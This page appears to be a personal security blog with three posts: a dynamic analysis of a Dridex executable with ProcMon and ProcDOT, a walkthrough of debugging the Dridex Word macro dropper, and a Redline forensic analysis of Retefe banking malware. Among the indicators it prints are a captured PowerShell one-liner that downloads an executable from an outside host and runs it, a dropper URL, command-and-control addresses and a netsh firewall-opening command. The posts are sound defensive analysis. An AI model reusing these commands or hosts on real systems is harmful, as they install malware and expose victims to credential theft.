Analysis of Dridex (II) - Analysis of malicious executables with ProcDOT

During the last post I ended up with an executable file downloaded by a malicious macro embedded in a MS Office Word file. This was the first part of the infection.

Dridex has been in the wild for a while and has evolved with the time in order to by-pass security controls and be more difficult to detect. The first phase of the infection, through the weaponization of a MS Office doc, usually has been similar and the main technique has been always to trick and fool the victim in order to enable macros, which afterwards download the executable file.

There is a good paper about the historical analysis of Dridex in terms of the network traffic in SANS reading room.

As I said in the first post I managed to get an executable and along this post I will explain the steps I follow to analyse the executable.

The tools I use:

• Virtual Machine running Windows 7 64bit: where the malware will run.
• Process Monitor (ProcMon): running in the Windows VM machine. This tool captures everything happening in the system (files, registers, processes, threads, etc)
• Wireshark: running in the Windows VM machine. Captures all network traffic in the infected system.
• ProcDOT: Links all the events captured by ProcMon with the captured network traffic in order to create a visual graph which permits to follow up easily the set of steps.

There are several manuals and blogs about how to setup the tools, so I am not going to repeat the same again :-). Some easy going guides are here and here.

The EXE file (1074ba1f0b56d503ff088d31dcb55b1fc8ba2bbc8cd002f4ebcfe617acd6125a) is in VT since yesterday, in case someone want to take a look.

Once we have executed the malware in the VM Machine and the events have been captured with ProcMon, saved as CSV, and we have done the same with the network traffic (exported as .pcap), we can import in in ProcDOT (running in Remnux) as showed in the screenshow below:

Note that I have just renamed the EXE file as 'file.exe' and in the 'Launcher' box this is the process I choose.


Now it is time to produce the graph:



While running ProcDot, on the bottom of the window, I can visualise and follow the set of events the step-by-step.

Following the flow of events it is possible to spot when a new thread is invoked or created by a process:

Or when a thread is injected in a process:

Information about network traffic is gathered:

The interaction with the filesystem is there as well:

 

Anything related to Windows registers (create, accessed, modified):

When a DLL is loaded:

All this information, together with the data from ProcMon (stored in a file) is really key to follow up the infection.

What is this Dridex sample doing?

Preparing the network through accessing several registers

During the first phase, one of the threads of the malware, is in charge of checking the network settings and configure some specificregisters. 

• Read: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings
• Write: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix
• "23:12:14.7450229","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix","SUCCESS","Type: REG_SZ, Length: 2, Data: ","2372"
• Write: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix
• "23:12:14.7469883","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix","SUCCESS","Type: REG_SZ, Length: 16, Data: Cookie:","2372"
• Write: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix
• "23:12:14.7486601","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix","SUCCESS","Type: REG_SZ, Length: 18, Data: Visited:","2372"
• Read HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
• "23:12:14.7636584","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","2372"
• Read HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings
• "23:12:14.7637494","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings","SUCCESS","Type: REG_BINARY, Length: 184, Data: 46 00 00 00 39 00 00 00 09 00 00 00 00 00 00 00","2372
• Read HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings
• "23:12:14.7638545","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings","SUCCESS","Type: REG_BINARY, Length: 184, Data: 46 00 00 00 21 00 00 00 09 00 00 00 00 00 00 00","2372"
• Write HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
• "23:12:14.7639128","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","2372"
• Write HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet"
• 23:12:14.7709781","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","2372" 
• Write HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect
• "23:12:14.7709864","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1","2372" 

Then there are some access to registers (read, write and delete) related to WPAD (Web Proxy Automatic Discovery). 

"23:12:14.8157365","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDecision","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","792"

"23:12:14.8157438","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDecisionTime","SUCCESS","Type: REG_BINARY, Length: 8, Data: 70 66 92 08 90 3E D1 01","792"

"23:12:14.8158211","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDecisionReason","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1","792"

"23:12:14.8159248","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecision","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","792"

"23:12:14.8159318","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecisionTime","SUCCESS","Type: REG_BINARY, Length: 8, Data: 70 66 92 08 90 3E D1 01","792"

"23:12:14.8159387","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecisionReason","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1","792"

"23:12:14.8160255","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecisionReason","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1","792"

"23:12:14.8160366","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecisionTime","SUCCESS","Type: REG_BINARY, Length: 8, Data: 70 66 92 08 90 3E D1 01","792"

"23:12:14.8160428","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecision","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","792"

"23:12:14.8158425","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDetectedUrl","NAME NOT FOUND","Length: 144","792"

"23:12:14.8159555","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDetectedUrl","SUCCESS","Type: REG_SZ, Length: 2, Data: ","792"

"23:12:14.8160546","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDetectedUrl","SUCCESS","Type: REG_SZ, Length: 2, Data: ","792"

"23:12:17.4741684","file.exe","4960","RegDeleteValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDetectedUrl","NAME NOT FOUND","","4384"

"23:12:17.4743114","file.exe","4960","RegDeleteValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDetectedUrl","SUCCESS","","4384"

"23:12:17.4744248","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDetectedUrl","NAME NOT FOUND","Length: 144","4384"

"23:12:17.4744675","file.exe","4960","RegDeleteValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDetectedUrl","NAME NOT FOUND","","4384"

Connection to C&C  23.88.104.64 on port 243/TCP

Following to this, the malware connects to the C&C as can be seen in the logs from ProcessMonitor

"23:12:15.0342773","file.exe","4960","TCP Connect","192.168.1.5:49863 -> 23.88.104.64:243","SUCCESS","Length: 0, mss: 1460, sackopt: 0, tsopt: 0, wsopt: 0, rcvwin: 64240, rcvwinscale: 0, sndwinscale: 0, seqnum: 0, connid: 0","0"

"23:12:15.0424283","file.exe","4960","TCP Send","192.168.1.5:49863 -> 23.88.104.64:243","SUCCESS","Length: 160, startime: 243947, endtime: 243947, seqnum: 0, connid: 0","0"

"23:12:15.2373867","file.exe","4960","TCP Receive","192.168.1.5:49863 -> 23.88.104.64:243","SUCCESS","Length: 977, seqnum: 0, connid: 0","0"

During the communication there are some specific items configured, likely as a result of the commands sent by the C&C.

Setting the language List

A register related to the Language is setup as en-US.

"23:12:15.5676959","file.exe","4960","RegSetValue","HKCU\Software\Classes\Local Settings\MuiCache\50\52C64B7E\LanguageList","SUCCESS","Type: REG_MULTI_SZ, Length: 20, Data: en-US, en","2372"

Setting a unique ID to identify the compromised host

A unique ID is assigned in a specific register. 

"23:12:16.5362192","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{99885010-7AE0-0140-9910-EDA8E5CA4696}\ShellFolder\0","SUCCESS","Type: REG_BINARY, Length: 470, Data: A5 EB 36 77 5A 8E 64 34 A4 32 DF 9A D6 E8 78 AA","2372"

Setting WPAD configuration

Some registers for the WPAD are again modified.

23:12:17.4740557","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDecisionReason","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1","4384"

"23:12:17.4740646","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDecisionTime","SUCCESS","Type: REG_BINARY, Length: 8, Data: 79 02 A4 26 98 3E D1 01","4384"

"23:12:17.4741473","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDecision","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","4384"

"23:12:17.4742259","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecisionReason","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1","4384"

"23:12:17.4742322","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecisionTime","SUCCESS","Type: REG_BINARY, Length: 8, Data: 79 02 A4 26 98 3E D1 01","4384"

"23:12:17.4743048","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecision","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","4384"

Downloading a file from the C&C

During the communication with the C&C there is quite a few data transmitted. This looks like the infected host is downloading some file

"23:12:17.7427869","file.exe","4960","TCP Send","192.168.1.5:49864 -> 23.88.104.64:243","SUCCESS","Length: 192, startime: 243974, endtime: 243974, seqnum: 0, connid: 0","0"

"23:12:20.5362365","file.exe","4960","TCP Disconnect","192.168.1.5:49864 -> 23.88.104.64:243","SUCCESS","Length: 0, seqnum: 0, connid: 0","0"

Thread injection

Threat creation and injection into Explorer.exe

Some new thread is created by the main file.exe process.

This new thread is injected in the Explorer.exe:

Then, the Explorer.exe generates another thread: 4755-n164

Temporal file created

There is a temporal file created by the the thread 4755-n164 which has been created by the thread injected into Explorer.exe (4456-n162)

The most suspicious thing here is that the file is stored where all the keys (public/private) keys are stored, which means that the file is a key/certificate.  

"23:12:22.1647265","Explorer.EXE","2960","CreateFile","C:\Users\angel\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3207478364-1257758836-272776370-1001\50acd1cc9d8c60665c5c9c0c498ede76_88854119-2691-4352-be47-af20ed1e43f7","SUCCESS","Desired Access: Generic Write, Read Attributes, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: S, ShareMode: None, AllocationSize: n/a, OpenResult: Opened","4756"

"23:12:22.1650013","Explorer.EXE","2960","ReadFile","C:\Users\angel\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3207478364-1257758836-272776370-1001\50acd1cc9d8c60665c5c9c0c498ede76_88854119-2691-4352-be47-af20ed1e43f7","SUCCESS","Offset: 0, Length: 46, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O, Priority: Normal","4756"

"23:12:22.1652740","Explorer.EXE","2960","SetDispositionInformationFile","C:\Users\angel\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3207478364-1257758836-272776370-1001\50acd1cc9d8c60665c5c9c0c498ede76_88854119-2691-4352-be47-af20ed1e43f7","SUCCESS","Delete: True","4756"

New threads created and injected TCP/443

Again, several threads are created and injected in other processes. Like for example taskhost.exe

Connection to 41.38.18.230 443/TCP

Later one, there is a HTTPS connection to host 41.38.18.230, however this host responds with RST, which means the port is not open or is being filtered.

Connection to 81.82.210.239 443/TCP

As there is no possibility of connection to the 41.38.18.230, another connection is established with 81.82.210.239 through HTTPS. 

Information of the certificate 

The certificate for 81.82.210.239 is not signed by a valid CA and accessing from any browser will trigger a warning. If we look to the content of the certificate we can see it has been recently created (24/12/2015) which is the same day of the analysis.

Certificated valid from the infected host

But looking to the same certificate from the infected host (Internet Explorer) doesn't trigger any alert. This means that the root CA certificate signing that rogue certificate is already trusted in the system. This is likely why there was a temporal file stored in "Roaming\Microsoft\Crypto\RSA\" 

TCP flow

There is a bunch of traffic with through HTTPs, this traffic likely is due to some file being downloaded.

DLL files 

Temporal file created by Explorer.EXE

As pointed previously, it looks like some file was being downloaded through the HTTPS connection, and later on a temporal file is created.

"23:17:08.3199249","Explorer.EXE","2960","CreateFile","C:\Users\angel\AppData\Local\tRq4VYnd","SUCCESS","Desired Access: Generic Read/Write, Disposition: OverwriteIf, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: S, ShareMode: None, AllocationSize: 0, OpenResult: Created","3864"

Fake DLL created

The  temporal is later opened by the DLLHost.exe. Which means is a DLL file. Actually, in the end there is a new DLL named cryptbase.dll. 

This DLL is a valid DLL for Windows 7, however the folder where it has been stored is not valid, which demonstrates this is a fake DLL.

"23:17:10.1100720","DllHost.exe","2704","ReadFile","C:\Users\angel\AppData\Local\tRq4VYnd","SUCCESS","Offset: 0, Length: 3'072, Priority: Normal","3032"

"23:17:10.1101002","DllHost.exe","2704","WriteFile","C:\Windows\System32\sysprep\cryptbase.dll","SUCCESS","Offset: 0, Length: 3'072, Priority: Normal","3032"

Fake DLL loaded

The DLL is loaded which is another phase of the malware infection.

Firewall changes

Some firewall changes are implemented in order to allow any connection for the application Explorer.EXE. 

"23:17:10.9104709","sysprep.exe","748","Process Create","C:\Windows\system32\netsh.exe","SUCCESS","PID: 4416, Command line: netsh advfirewall firewall add rule name=""Core Networking - Multicast Listener Done (ICMPv4-In)"" program=""C:\Windows\Explorer.EXE"" dir=in action=allow protocol=TCP localport=any","352"

DLL and temporal files deleted

After the DLL has been loaded, the files are removed from the sytem

Conclusion

With ProcDot it is really easy to follow up what the malware does. This version of Dridex does the following:

1. Some threads are created in order to check the network settings and perform some specific configuration
2. A TCP connection to 23.88.104.64:243 is established. This is the C&C.
3. While the communication with the C&C some custom settings are configured. A unique ID is assigned to the compromised host through a unique register. 
4. A file is downloaded from the C&C. This file is stored in the repository where all the certificates are stored. Some injected threads are on charge of this
5. A new connection is established to 81.82.210.239 through HTTPS. The certificate used by that server is signed by not trusted CA, however IE on the compromised host doesn't complain about this, which means that the CA certificate has been imported and is trusted. This is basically why there is a file downloaded and stored in step 4. SSL is used to perform the analysis more difficult and to encrypt the communication 
6. During the SSL communication with 81.82.210.239, a new file is downloaded. This file is a DLL file and is loaded by the OS. The name of the DLL is the same than a valid Windows DLL in order, but it is place in a different folder.
7. The DLL and the temporal files are deleted from the system

Next step will be to analyse the DLL downloaded in order understand what it does, as this is the core of the malware.

Analysis of Dridex (I) - Analysis of malicious macros with a debugger

A few day ago I had to investigate an email which contained a suspicious attachment. The attachment was a MS Office Word document using macros. The file is already in VT (d6fe6d4bffe60ea7bff109655426872bed44cbc3376249db7d9925a36b6e089c)

In this first post I am going to describe how it is possible to analyse MS Office files containing Macros. In further post I will describe how to perform malware analysis of the downloaded file, which it is an EXE file.

For the analysis, I will be using two main tools:

• oletools: included in Remnux v6.
• VBA debugger: included in MS office 

'python-oletools is a package of python tools to analyze Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on my olefile parser' (source: http://www.decalage.info/python/oletools) 

The first thing is to check the metadata of the document with olemeta.py. The information provided shows that there is already something suspicious:

Using the command oleid.py it is possible to detect that the file contains some VBA (Visual Basic) Macros

With oledump.py it is possible to display more information about the Macros. In this case, the 'M' on the right side, means that there is a Macro:

The Macros could also be dumped with  oledump.py  and some specific parameters. For example: oledump.py -s 7 -v suspicious.doc  > Module1 

However, in this case I am going to do the dynamic analysis through the MS Office debugger for VBA.

Debugging Macros

When opening the document  in a sandbox there is an alert indicating the existence of Macros, which are not enable by default for security reasons:

Pressing ALT+F11 the debugger is open and clearly the Macros detected previously ThisDocument and Module1 are there:

The macro ThisDocument calls to a Function GetFolder which is inside the Module1 macro. This function is called once the file is open. GetFolder declares some interesting variables:

Now it it time to run the Macro. We can do it with F8 in order to debug it step by step. In the mean time, we can see the content of the variables (objects) in the Locals Window. 

The function WarpChar is used to generated the URL where the malware is stored. So basically, this macro is acting as dropper. The URL where the malware is stored is http://valleymotorcycles.com/87tf6d45/90u7f65d.exe 

We can see, through more debugging that the file download by the Dropper is kept as C:\Users\angel\AppData\Local\Temp\eccexlexb.exe

Later on, the file is executed through an 'open' function.

Modify Macros to display some debugging messages

Another alternative is to display debugging windows messages while the macro is being executed. For example, with the instruction "MsgBox".

Similar approach can be used to show where the dropper has been stored: 

   'MsgBox "The name of the stored file is: " & ShowSaveFil5'

Network traffic

While doing the analysis I captured the traffic in order to detect the network traffic generated and to be able to keep the malware file. 

With this approach and set of tools I have been able to understand what the Macro embebed in an MS office document does. In this case it basically acts as dropper to download a file and execute it.

In following post I will reverse the malware downloaded

Forensic of Retefe malware (windows) with Redline

In the previous post I did the debugging (dynamic analysis) of a fresh APK malware which is part of the Emmental campaign. Also, I mentioned that I got a SMS with the malicious link to the APK, but how did I get that link via a SMS? The answer for this will be in this post. 

Although in my previous posts about Emmental I did not mention it, Emmental is not the only name provided to this this campaign. TrendMicro names it Emmental while other vendors, like PaloAlto, names it Retefe

The campaign is composed of two malware components: once which infects the Windows systems of the victim and the second one which infectes the Android device of the victim. During the first phase of the attack, when the windows system is infected, the bad guys get access to the bank account credentials of the victim, while in the second phase they get 2FA tokens. Also, in phase 1, the victim is invited to put his phone number in order to receive a SMS with the link to the APK (which is supposed to be a legitimate application from the bank). This is basically how to get the link for the APK which I did for previous post.

In previous post I focused the analysis in the Android malware phase, but at this is linked to the Windows infection I'm going to do a bit of analysis on this phase.

For this, I will use the sample 9ed083fa94a1a4d1153f4566309ccd3294bd851b9fa6aff7b6664ef08e1ddda6 which is distributed by email to the victims.

I will use the forensic tool Redline from FireEye.

The full manual of the tool and how to install it is very well explained in the official documentation. For the purpose of this post, and to not repeat the installation process described in the documentation,  I will focus on the analysis of the evidences once are imported in the tool. Obviously, the system has been infected previously with the malware.

Redline interface 

The interface is quite friendly and very intuitive. It is possible to gather all the information about the system, the network, the processed running, the filesystem, registry, memory sections.. and any relevant information from a forensic point of view.

Performing the analysis 

Checking the processes

When performing forensic I always like to do an overview of the processes running and the network connections as first step. With Redline this is very easy to do. Actually, with the 'Hierachical Processes' menu you have straight forward that view. 

One of the interesting things of Redline is that is able to identify suspicious processes and give some additional information about them. In the screenshot below it has identify two suspicious processes and they have been scored with 93 in the MRI (Malware Risk index) (red arrow). Also, another handy thing is that I can 'tag' some of the evidences (green arrow)  which I consider relevant. In this case, there is a powershell command which looks suspicious to me which which I have tagged in red.

If I double click in each of the process I can see the additional information.  For example, for the process marked by Redline as 'Risky' I can see the information around it.

Also, for the other 'PowerShell' process, I can also  see the details of the process:

Arguments: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(New-Object System.Net.WebClient).DownloadFile('http://stars-on-earth.de/neueversion/dtvrtxrcetxrtretec.exe','C:\ProgramData\\Microsoft-KB507196.exe');(New-Object -com Shell.Application).ShellExecute('C:\ProgramData\\Microsoft-KB507196.exe');"

Start time: 2015-11-17 08:42:07Z

Clearly we can see this process is trying to download and EXE file (a dropper, new version of the malware ??) and run it. Also, another interesting evidence is the time when the process was created which can be used as point of reference in the timeline.

Checking the ports

Looking at the ports, I can see all the connections: LISTENING, CLOSED, ESTABLISHED. In this case I am interested in the ESTABLISHED ones and I can see a connection to IP 185.82.216.181 which I label in red.

The IP mentioned below resolves to: tonnelrock.net

Checking the timeline

Looking at the timeline I can see the sequence of events. However, as I already know that some suspicious process timestamp (2015-11-17 08:42:07Z) I can limit the windows frame for the investigation:

I have tagged some evidences I consider relevant. For example, the evidence below, from the LOGS of the system, indicates a Root CA certificate was installed

Going further in the timeline, I also see something suspicious:

There is a change in a REGISTER for the proxy configuration:

https://tonnelrock.net/tonnel.js

This hostname is already familiar to me, from the network connections analysis previously :)

The URL is HTTPS so there is a certificate in the side of the server. Looking at the certificate I see the following:

$ openssl s_client -connect tonnelrock.net:443

CONNECTED(00000003)

depth=0 /C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain

verify error:num=20:unable to get local issuer certificate

verify return:1

depth=0 /C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain

verify error:num=27:certificate not trusted

verify return:1

depth=0 /C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain

verify error:num=21:unable to verify the first certificate

verify return:1

---

Certificate chain

 0 s:/C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain

   i:/C=US/ST=CA/L=SanFrancisco/O="thawte, Inc."/OU=Certification Services Division/CN=thawte Primary Root CA - G4/emailAddress=

---

Server certificate

-----BEGIN CERTIFICATE-----

MIIHVjCCBT6gAwIBAgICAPQwDQYJKoZIhvcNAQEFBQAwgawxCzAJBgNVBAYTAlVT

....

UKT8c8+pMujMHzcZ0C/D2kwwuz6aFLR2bGby3ODudXekeDq+abB5V6EIviiAy6sm

88+zbeLKTQnecN1m28BkspBAJsp/YEhTtsusDV0mVL42qYNLF4sCxibOvMzTfzCZ

078tuv4HZ41zCNAu9gwis6/oDEfYDx//gCWncfIeix1+yg9zzQgQGtiXfZOVmENZ

S527xNXnRQmryZcIk9c6oQFzDK6fSWKjwcsEeQYjlfaRlB7IPoTQJrLAVDDpqYzN

ifpf7FdMMVnANg==

-----END CERTIFICATE-----

subject=/C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain

issuer=/C=US/ST=CA/L=SanFrancisco/O="thawte, Inc."/OU=Certification Services Division/CN=thawte Primary Root CA - G4/emailAddress=

---

No client certificate CA names sent

---

SSL handshake has read 2051 bytes and written 712 bytes

---

New, TLSv1/SSLv3, Cipher is AES256-SHA

Server public key is 4096 bit

Secure Renegotiation IS supported

Compression: NONE

Expansion: NONE

SSL-Session:

    Protocol  : TLSv1

    Cipher    : AES256-SHA

    Session-ID: 1E76B036BC3963A968D8645440DD08B4BF6512CD539E321D08BF22A2B0237D46

    Session-ID-ctx:

    Master-Key: 235601F367B3F5FD9C1F4E9BE0DC5C19A55D205FF05FD47E1FF93B20AC19A97DF2E46F3AFE697853201D0B50B7C85BC3

    Key-Arg   : None

    Start Time: 1447842834

    Timeout   : 300 (sec)

    Verify return code: 21 (unable to verify the first certificate)

Interesting the CN field in the certificate. This matches the Root CA certificated installed.

Looking further in the timeline, I see there are some interesting URL accesses. This evidences are gathered by Redline from the browser and included in the timeline. Really handy :)

The URL accessed is from a Swiss Bank https://onba.zkb.ch.  However is the URL accessed by the victim the real one or a fake one?. The host onba.zkb.ch resolves to the IP 62.240.192.149, but there is not any connection to that IP in evidences, however there is a connection to the proxy IP (185.82.216.181) as showed previously in the post. This means basically the URL surfed is not going to the real IP directly, hence likely is the the fake portal.

Actually, digging in the logs we can see there are more access to that URL:

If I try to access one of the static resources, like for example https://onba.zkb.ch/image/ch/zkb/slv/onba/resource/common/bank_logo.jpg I can see the resources doesn't exist: 

$ wget https://onba.zkb.ch/image/ch/zkb/slv/onba/resource/common/bank_logo.jpg

--2015-11-18 12:25:15--  https://onba.zkb.ch/image/ch/zkb/slv/onba/resource/common/bank_logo.jpg

Resolving onba.zkb.ch... 62.240.192.149

Connecting to onba.zkb.ch|62.240.192.149|:443... connected.

HTTP request sent, awaiting response... 404 Not Found

2015-11-18 12:25:15 ERROR 404: Not Found.

That basically confirms that the website was a fake one and that was presented to the victim as the real one in order to steal the bank credentials.

Also, this matches the connection detected to the proxy 185.82.216.181

What is the role of the certificate installed? Basically, the certificate installed allows to present the victim a website with a certificate (HTTPS) without any kind of warning, hence the victim doesn't suspect.

How is the SMS sent? once  the user has accessed his bank account, the fake website asks for the phone number in order to send the application(fake) necessary to access the bank.

Summary

Redline is a very useful tool to perform forensic analysis in Windows. it is very easy to setup and the GUI interface is very friendly to use. The timeline is very powerful as it includes all the evidences which makes very easy to follow up the analysis.

Also, it is possible to investigate specific evidences with a simple click. In this case we saw processes, registers, network connection, logs from the browser.

Regarding Emmental / Refete, I checked briefly what the malware does. Once the binary is executed, it install a Root CA Cert and configure a proxy to redirect the traffic to it. This permits to present the user fake bank websites in order to steal the credentials.